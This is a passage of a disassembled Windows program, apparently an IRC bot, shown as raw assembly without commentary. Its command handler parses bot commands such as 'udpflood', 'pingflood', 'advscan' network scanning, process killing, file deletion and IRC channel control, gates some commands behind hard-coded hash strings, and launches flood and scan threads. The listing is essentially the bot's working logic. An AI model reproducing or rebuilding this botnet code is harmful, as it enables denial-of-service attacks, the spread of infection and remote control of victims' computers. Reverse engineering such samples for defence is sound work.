; ---------------------------------------------------------------------------


loc_40B381:				; CODE XREF: sub_40997B+1A4Ej
		mov	eax, [ebp+arg_4]


loc_40B384:				; CODE XREF: sub_40997B+1A04j
		cmp	[eax], bl
		jz	short loc_40B38B
		inc	eax
		jmp	short loc_40B390
; ---------------------------------------------------------------------------


loc_40B38B:				; CODE XREF: sub_40997B+1A0Bj
		mov	eax, offset aEmpty ; "<Empty>"


loc_40B390:				; CODE XREF: sub_40997B+1A0Ej
		push	eax
		push	esi
		lea	eax, [ebp+var_578]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_40EE10
		push	1
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	[ebp+arg_4], 80h
		add	esp, 24h
		inc	esi
		cmp	esi, 3
		jl	short loc_40B381
		push	offset unk_4213E8


loc_40B3D0:				; CODE XREF: sub_40997B+3DFFj
		call	sub_407A4E
		jmp	loc_40DAA1
; ---------------------------------------------------------------------------


loc_40B3DA:				; CODE XREF: sub_40997B+19D9j
		push	[ebp+arg_4]
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD47
		push	[ebp+arg_4]
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD47
		push	[ebp+arg_4]
		push	offset aCurrentip ; "currentip"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD0C
		push	[ebp+arg_4]
		push	offset dword_4213BC
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD0C
		mov	eax, [ebp+esi+var_94]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_409D24
		push	[ebp+arg_4]
		push	offset dword_4213B8
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B80E
		push	[ebp+arg_10]
		lea	eax, [ebp+var_5B8]
		push	40h
		push	eax
		call	sub_40E7AB
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_40E730
		push	eax
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_408FD8
		add	esp, 18h
		lea	eax, [ebp+var_5B8]
		push	eax
		push	offset a3127659d403389 ; "3127659d403389d0911ed325a6e24f12"
		call	dword_41A10C	; lstrcmpi
		test	eax, eax
		jnz	short loc_40B4D8
		cmp	[ebp+var_8], ebx
		jnz	short loc_40B4BF
		push	ebx
		push	[ebp+var_4]
		push	offset dword_421390
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h


loc_40B4BF:				; CODE XREF: sub_40997B+1B2Aj
		push	edi
		call	dword_4273AC	; closesocket
		call	dword_427274	; WSACleanup
		call	sub_404CE2
		push	ebx
		call	dword_41A0F4	; ExitProcess


loc_40B4D8:				; CODE XREF: sub_40997B+1B25j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_409D24
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_409D24
		lea	eax, [ebp+var_5B8]
		push	eax
		push	offset a5e4b401fd2dc9f ; "5e4b401fd2dc9fac49cf77c64c91218c"
		call	dword_41A10C	; lstrcmpi
		test	eax, eax
		jnz	loc_40B6B0
		push	[ebp+arg_18]
		push	offset aHortsfor ; "hortsfor"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B675
		lea	eax, [ebp+var_1E8]
		push	eax
		push	104h
		call	dword_41A0D0	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_9CC]
		push	[ebp+arg_0]
		push	eax
		call	sub_410090
		lea	eax, [ebp+var_E4]
		push	eax
		push	edi
		call	sub_40DECC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	offset dword_421384
		push	eax
		call	sub_40EE10
		mov	esi, [ebp+esi+var_84]
		add	esp, 10h
		cmp	esi, ebx
		mov	[ebp+var_7C8], 1
		mov	[ebp+var_7C4], ebx
		jz	short loc_40B5A9
		push	esi
		call	sub_40FB66
		pop	ecx
		mov	[ebp+var_7C0], eax
		jmp	short loc_40B5AF
; ---------------------------------------------------------------------------


loc_40B5A9:				; CODE XREF: sub_40997B+1C1Dj
		mov	[ebp+var_7C0], ebx


loc_40B5AF:				; CODE XREF: sub_40997B+1C2Cj
		movzx	eax, [ebp+var_6C7]
		push	7Fh
		mov	[ebp+var_7BC], eax
		push	[ebp+var_90]
		lea	eax, [ebp+var_A4C]
		mov	[ebp+var_A50], edi
		push	eax
		call	sub_410090
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_7B4], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	[ebp+var_7B8], eax
		lea	eax, [ebp+var_578]
		push	offset dword_42134C
		push	eax
		call	sub_40EE10
		push	edi
		lea	eax, [ebp+var_578]
		push	1Ch
		push	eax
		call	sub_40E1D6
		add	esp, 18h
		mov	[ebp+var_7CC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A50]
		push	ebx
		push	eax
		push	offset sub_407CCD
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_7CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40B658


loc_40B646:				; CODE XREF: sub_40997B+1CDBj
		cmp	[ebp+var_7B0], ebx
		jnz	short loc_40B688
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B658:				; CODE XREF: sub_40997B+1CC9j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_421300
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		jmp	short loc_40B688
; ---------------------------------------------------------------------------


loc_40B675:				; CODE XREF: sub_40997B+1BACj
		push	offset unk_4212B0


loc_40B67A:				; CODE XREF: sub_40997B+2A5Fj
					; sub_40997B+2A69j
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10
		pop	ecx
		pop	ecx


loc_40B688:				; CODE XREF: sub_40997B+1CD1j
					; sub_40997B+1CF8j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D773
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h
		jmp	loc_40D773
; ---------------------------------------------------------------------------


loc_40B6B0:				; CODE XREF: sub_40997B+1B95j
		cmp	[ebp+esi+var_88], ebx
		jz	loc_409D24
		lea	eax, [ebp+var_5B8]
		push	eax
		push	offset aEae2a4a6649ddf ; "eae2a4a6649ddf699412d162c4337675"
		call	dword_41A10C	; lstrcmpi
		test	eax, eax
		jnz	loc_409D24
		push	0FFh
		lea	eax, [ebp+var_9CC]
		push	[ebp+arg_0]
		push	eax
		call	sub_410090
		push	0FFh
		lea	eax, [ebp+var_8CC]
		push	[ebp+arg_18]
		push	eax
		call	sub_410090
		push	[ebp+esi+var_88]
		mov	[ebp+var_7C8], ebx
		call	sub_40FB66
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		mov	[ebp+var_7C4], eax
		jz	short loc_40B731
		push	esi
		call	sub_40FB66
		pop	ecx
		mov	[ebp+var_7C0], eax
		jmp	short loc_40B737
; ---------------------------------------------------------------------------


loc_40B731:				; CODE XREF: sub_40997B+1DA5j
		mov	[ebp+var_7C0], ebx


loc_40B737:				; CODE XREF: sub_40997B+1DB4j
		movzx	eax, [ebp+var_6C7]
		push	7Fh
		mov	[ebp+var_7BC], eax
		push	[ebp+var_90]
		lea	eax, [ebp+var_A4C]
		mov	[ebp+var_A50], edi
		push	eax
		call	sub_410090
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	esi, [ebp+var_4]
		mov	[ebp+var_7B8], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_578]
		mov	[ebp+var_7B4], esi
		push	[ebp+arg_0]
		push	offset dword_42126C
		push	eax
		call	sub_40EE10
		push	edi
		lea	eax, [ebp+var_578]
		push	1Bh
		push	eax
		call	sub_40E1D6
		add	esp, 1Ch
		mov	[ebp+var_7CC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A50]
		push	ebx
		push	eax
		push	offset sub_407CCD
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_7CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40B7E3


loc_40B7D1:				; CODE XREF: sub_40997B+1E66j
		cmp	[ebp+var_7B0], ebx
		jnz	short loc_40B7FE
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40B7D1
; ---------------------------------------------------------------------------


loc_40B7E3:				; CODE XREF: sub_40997B+1E54j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_421220
		push	eax
		call	sub_40EE10
		add	esp, 0Ch


loc_40B7FE:				; CODE XREF: sub_40997B+1E5Cj
		cmp	[ebp+var_8], ebx
		jnz	loc_40D4FE
		push	ebx
		push	esi
		jmp	loc_40B18A
; ---------------------------------------------------------------------------


loc_40B80E:				; CODE XREF: sub_40997B+1ADEj
		push	[ebp+arg_4]
		push	offset aAsc	; "asc"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C8BF
		push	[ebp+arg_4]
		push	offset aAs	; "as"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C8BF
		push	[ebp+arg_4]
		push	offset aUdpflood ; "udpflood"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C78E
		push	[ebp+arg_4]
		push	offset aUdp	; "udp"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C78E
		push	[ebp+arg_4]
		push	offset aU	; "u"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C78E
		push	[ebp+arg_4]
		push	offset aPingflood ; "pingflood"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C659
		push	[ebp+arg_4]
		push	offset aPing_0	; "ping"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C659
		push	[ebp+arg_4]
		push	offset aP	; "p"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C659
		push	[ebp+arg_4]
		push	offset aNb32_nick ; "nb32.nick"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C63B
		push	[ebp+arg_4]
		push	offset aNb32_n	; "nb32.n"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C63B
		push	[ebp+arg_4]
		push	offset aNb32_join ; "nb32.join"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C616
		push	[ebp+arg_4]
		push	offset aNb32_j	; "nb32.j"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C616
		push	[ebp+arg_4]
		push	offset aNb32_part ; "nb32.part"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C5F8
		push	[ebp+arg_4]
		push	offset aNb32_pt	; "nb32.pt"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C5F8
		push	[ebp+arg_4]
		push	offset aNb32_raw ; "nb32.raw"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C5BE
		push	[ebp+arg_4]
		push	offset aNb32_ra	; "nb32.ra"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C5BE
		push	[ebp+arg_4]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C4F7
		push	[ebp+arg_4]
		push	offset aThreads_k ; "threads.k"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C4F7
		push	[ebp+arg_4]
		push	offset aNb32_setserve ;	"nb32.setserve"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C4DA
		push	[ebp+arg_4]
		push	offset aNb32_se	; "nb32.se"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C4DA
		push	[ebp+arg_4]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C4AC
		push	[ebp+arg_4]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C4AC
		push	[ebp+arg_4]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C456
		push	[ebp+arg_4]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C456
		push	[ebp+arg_4]
		push	offset aCom_delete ; "com.delete"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C3E9
		push	[ebp+arg_4]
		push	offset aCom_del	; "com.del"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C3E9
		push	[ebp+arg_4]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C3AC
		push	[ebp+arg_4]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C3AC
		push	[ebp+arg_4]
		push	offset aNb32_gethost ; "nb32.gethost"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C2BC
		push	[ebp+arg_4]
		push	offset aNb32_gh	; "nb32.gh"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C2BC
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_409D24
		push	[ebp+arg_4]
		push	offset aNb32_privmsg ; "nb32.privmsg"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C26A
		push	[ebp+arg_4]
		push	offset aNb32_pm	; "nb32.pm"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C26A
		push	[ebp+arg_4]
		push	offset aNb32_action ; "nb32.action"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C1F5
		push	[ebp+arg_4]
		push	offset aNb32_ac	; "nb32.ac"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C1F5
		push	[ebp+arg_4]
		push	offset aNb32_cycle ; "nb32.cycle"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C18E
		push	[ebp+arg_4]
		push	offset aNb32_cy	; "nb32.cy"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C18E
		push	[ebp+arg_4]
		push	offset aNb32_mode ; "nb32.mode"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C154
		push	[ebp+arg_4]
		push	offset aNb32_m	; "nb32.m"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C154
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_409D24
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_8], eax
		jz	loc_409D24
		push	[ebp+arg_4]
		push	offset aAdvscan	; "advscan"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DAA2
		push	edi
		call	sub_404F3A
		push	eax
		call	sub_404E6A
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BC01
		push	[ebp+var_90]
		push	offset aF_1	; "#f"
		call	dword_41A10C	; lstrcmpi
		test	eax, eax
		jz	short loc_40BC01
		cmp	[ebp+var_6C0], bl
		jz	short loc_40BC01
		push	[ebp+arg_C]
		push	offset aF_1	; "#f"
		jmp	loc_40C8F3
; ---------------------------------------------------------------------------


loc_40BC01:				; CODE XREF: sub_40997B+225Aj
					; sub_40997B+226Fj ...
		push	8
		call	sub_40E41E
		push	[ebp+arg_0]
		mov	[ebp+arg_4], eax
		call	sub_40FB66
		add	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	short loc_40BC52
		push	[ebp+arg_4]
		lea	eax, [ebp+var_578]
		push	offset unk_421050
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 20h
		jmp	loc_40DAA2
; ---------------------------------------------------------------------------


loc_40BC52:				; CODE XREF: sub_40997B+22A2j
		push	[ebp+arg_10]
		call	sub_40FB66
		push	[ebp+arg_0]
		mov	[ebp+var_11C], eax
		call	sub_40FB66
		push	[ebp+arg_18]
		mov	[ebp+var_104], eax
		call	sub_40FB66
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_118], eax
		jnb	short loc_40BC8D
		push	5
		pop	eax
		mov	[ebp+var_118], eax


loc_40BC8D:				; CODE XREF: sub_40997B+2307j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40BC9A
		mov	[ebp+var_118], ecx


loc_40BC9A:				; CODE XREF: sub_40997B+2317j
		push	[ebp+arg_8]
		call	sub_40FB66
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_114], eax
		jbe	short loc_40BCBA
		mov	[ebp+var_114], 320h


loc_40BCBA:				; CODE XREF: sub_40997B+2333j
		or	[ebp+var_100], 0FFFFFFFFh
		cmp	dword_41E0F8, ebx
		mov	[ebp+arg_8], ebx
		jz	short loc_40BD12
		mov	[ebp+arg_24], offset dword_41E0F8


loc_40BCD3:				; CODE XREF: sub_40997B+2379j
		mov	eax, [ebp+arg_24]
		push	[ebp+arg_10]
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BCF8
		add	[ebp+arg_24], 38h
		inc	[ebp+arg_8]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_40BCD3
		jmp	short loc_40BD12
; ---------------------------------------------------------------------------


loc_40BCF8:				; CODE XREF: sub_40997B+236Bj
		mov	eax, [ebp+arg_8]
		mov	ecx, eax
		mov	[ebp+var_100], eax
		imul	ecx, 38h
		mov	ecx, dword_41E0F8[ecx]
		mov	[ebp+var_11C], ecx


loc_40BD12:				; CODE XREF: sub_40997B+234Fj
					; sub_40997B+237Bj
		cmp	[ebp+var_11C], ebx
		jnz	short loc_40BD24


loc_40BD1A:				; CODE XREF: sub_40997B+306Ej
		push	offset unk_421014
		jmp	loc_40D3DE
; ---------------------------------------------------------------------------


loc_40BD24:				; CODE XREF: sub_40997B+239Dj
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40BE65
		cmp	byte ptr [eax],	23h
		jz	loc_40BE65
		push	eax
		lea	eax, [ebp+var_230]
		push	10h
		push	eax
		call	sub_40E7AB
		push	78h
		push	[ebp+arg_10]
		call	sub_410AA0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		cmp	[ebp+var_6B3], bl
		mov	[ebp+var_F0], eax
		jnz	short loc_40BD7B
		cmp	[ebp+var_6B5], bl
		jz	loc_40C027


loc_40BD7B:				; CODE XREF: sub_40997B+23F2j
		or	eax, 0FFFFFFFFh
		mov	[ebp+arg_C], eax
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], eax
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_230]
		push	offset dword_41E35C
		push	eax
		call	sub_40F871
		add	esp, 18h
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40BDD3
		call	sub_410198
		mov	[ebp+arg_24], eax
		fild	[ebp+arg_24]
		fmul	dbl_41A2C0
		fmul	dbl_41A2B8
		call	sub_40EF84
		mov	[ebp+arg_0], eax


loc_40BDD3:				; CODE XREF: sub_40997B+2437j
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_40BDDC
		mov	[ebp+arg_4], ebx


loc_40BDDC:				; CODE XREF: sub_40997B+245Cj
		mov	eax, [ebp+arg_18]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BDE9
		xor	eax, eax
		mov	[ebp+arg_18], eax


loc_40BDE9:				; CODE XREF: sub_40997B+2467j
		shl	eax, 8
		add	eax, [ebp+arg_4]
		shl	eax, 8
		add	eax, [ebp+arg_0]
		shl	eax, 8
		add	eax, [ebp+arg_C]
		push	eax
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_230]
		push	offset dword_41FB7C
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_6B5], bl
		mov	[ebp+var_F0], ebx
		jz	loc_40C027
		lea	eax, [ebp+var_230]
		push	30h
		push	eax
		call	sub_410A60
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		pop	ecx


loc_40BE3C:				; CODE XREF: sub_40997B+24E3j
		cmp	eax, ebx
		jz	loc_40C01D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_230]
		push	30h
		push	eax
		call	sub_410A60
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		cmp	byte ptr [ebp+arg_24+3], 2
		pop	ecx
		jl	short loc_40BE3C
		jmp	loc_40C01D
; ---------------------------------------------------------------------------


loc_40BE65:				; CODE XREF: sub_40997B+23B5j
					; sub_40997B+23BEj
		cmp	[ebp+var_6CB], bl
		jnz	short loc_40BE97
		cmp	[ebp+var_6CA], bl
		jnz	short loc_40BE97
		cmp	[ebp+var_6BA], bl
		jnz	short loc_40BE97
		cmp	[ebp+var_6B3], bl
		jnz	short loc_40BE97
		cmp	[ebp+var_6B5], bl
		jnz	short loc_40BE97


loc_40BE8D:				; CODE XREF: sub_40997B+309Aj
		push	offset unk_420FD8
		jmp	loc_40D3DE
; ---------------------------------------------------------------------------


loc_40BE97:				; CODE XREF: sub_40997B+24F0j
					; sub_40997B+24F8j ...
		lea	eax, [ebp+arg_8]
		mov	[ebp+arg_8], 10h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	edi
		call	dword_4272B8	; getsockname
		mov	al, [ebp+var_6CB]
		push	10h
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410090
		add	esp, 0Ch
		cmp	[ebp+var_6BA], bl
		jz	short loc_40BF47
		xor	eax, eax
		cmp	[ebp+var_6CB], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410A60
		cmp	[ebp+arg_4], ebx
		pop	ecx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	loc_40C01D


loc_40BF1B:				; CODE XREF: sub_40997B+25C5j
		cmp	eax, ebx
		jz	loc_40C01D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_230]
		push	30h
		push	eax
		call	sub_410A60
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, [ebp+arg_4]
		jl	short loc_40BF1B
		jmp	loc_40C01D
; ---------------------------------------------------------------------------


loc_40BF47:				; CODE XREF: sub_40997B+2572j
		cmp	[ebp+var_6B3], bl
		jnz	short loc_40BF62
		cmp	[ebp+var_6B5], bl
		jnz	short loc_40BF62
		mov	[ebp+var_F0], ebx
		jmp	loc_40C027
; ---------------------------------------------------------------------------


loc_40BF62:				; CODE XREF: sub_40997B+25D2j
					; sub_40997B+25DAj
		or	eax, 0FFFFFFFFh
		mov	[ebp+arg_C], eax
		mov	[ebp+arg_4], eax
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_230]
		push	offset dword_41E35C
		push	eax
		call	sub_40F871
		add	esp, 18h
		call	sub_410198
		mov	[ebp+arg_24], eax
		fild	[ebp+arg_24]
		fmul	dbl_41A2C0
		fmul	dbl_41A2B8
		call	sub_40EF84
		mov	[ebp+arg_4], eax
		mov	[ebp+arg_0], ebx
		shl	eax, 8
		add	eax, [ebp+arg_C]
		mov	[ebp+arg_18], ebx
		push	eax
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_230]
		push	offset dword_41FB7C
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_6B5], bl
		mov	[ebp+var_F0], ebx
		jz	short loc_40C027
		lea	eax, [ebp+var_230]
		push	30h
		push	eax
		call	sub_410A60
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		pop	ecx


loc_40BFFD:				; CODE XREF: sub_40997B+26A0j
		cmp	eax, ebx
		jz	short loc_40C01D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_230]
		push	30h
		push	eax
		call	sub_410A60
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		cmp	byte ptr [ebp+arg_24+3], 2
		pop	ecx
		jl	short loc_40BFFD


loc_40C01D:				; CODE XREF: sub_40997B+24C3j
					; sub_40997B+24E5j ...
		mov	[ebp+var_F0], 1


loc_40C027:				; CODE XREF: sub_40997B+23FAj
					; sub_40997B+24A8j ...
		mov	eax, [ebp+var_4]
		push	[ebp+var_90]
		mov	[ebp+var_F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_220]
		push	80h
		push	eax
		mov	[ebp+var_120], edi
		call	sub_40E7AB
		mov	esi, [ebp+esi+var_80]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40C078


loc_40C061:				; CODE XREF: sub_40997B+2720j
		push	esi


loc_40C062:				; CODE XREF: sub_40997B+270Aj
		lea	eax, [ebp+var_1A0]
		push	80h
		push	eax
		call	sub_40E7AB
		add	esp, 0Ch
		jmp	short loc_40C0A3
; ---------------------------------------------------------------------------


loc_40C078:				; CODE XREF: sub_40997B+26E4j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jz	short loc_40C087
		cmp	byte ptr [eax],	23h
		jnz	short loc_40C087
		push	eax
		jmp	short loc_40C062
; ---------------------------------------------------------------------------


loc_40C087:				; CODE XREF: sub_40997B+2702j
					; sub_40997B+2707j
		mov	esi, offset aF	; "#f"
		push	offset byte_424EF4
		push	esi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C061
		mov	[ebp+var_1A0], bl


loc_40C0A3:				; CODE XREF: sub_40997B+26FBj
		cmp	[ebp+var_F0], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40C0B5
		mov	eax, offset aSequential	; "Sequential"


loc_40C0B5:				; CODE XREF: sub_40997B+2733j
		push	[ebp+var_104]
		lea	ecx, [ebp+var_230]
		push	[ebp+var_114]
		push	[ebp+var_118]
		push	[ebp+var_11C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_420F3C
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	8
		push	eax
		call	sub_40E1D6
		add	esp, 2Ch
		mov	[ebp+var_110], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_230]
		push	ebx
		push	eax
		push	offset sub_4039C6
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_110]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40C143


loc_40C12D:				; CODE XREF: sub_40997B+27C6j
		cmp	[ebp+var_EC], ebx
		jnz	loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40C12D
; ---------------------------------------------------------------------------


loc_40C143:				; CODE XREF: sub_40997B+27B0j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_420EF8
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40C154:				; CODE XREF: sub_40997B+21F2j
					; sub_40997B+2209j
		cmp	[ebp+var_C], ebx
		jz	loc_40DAA2
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_4102A0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
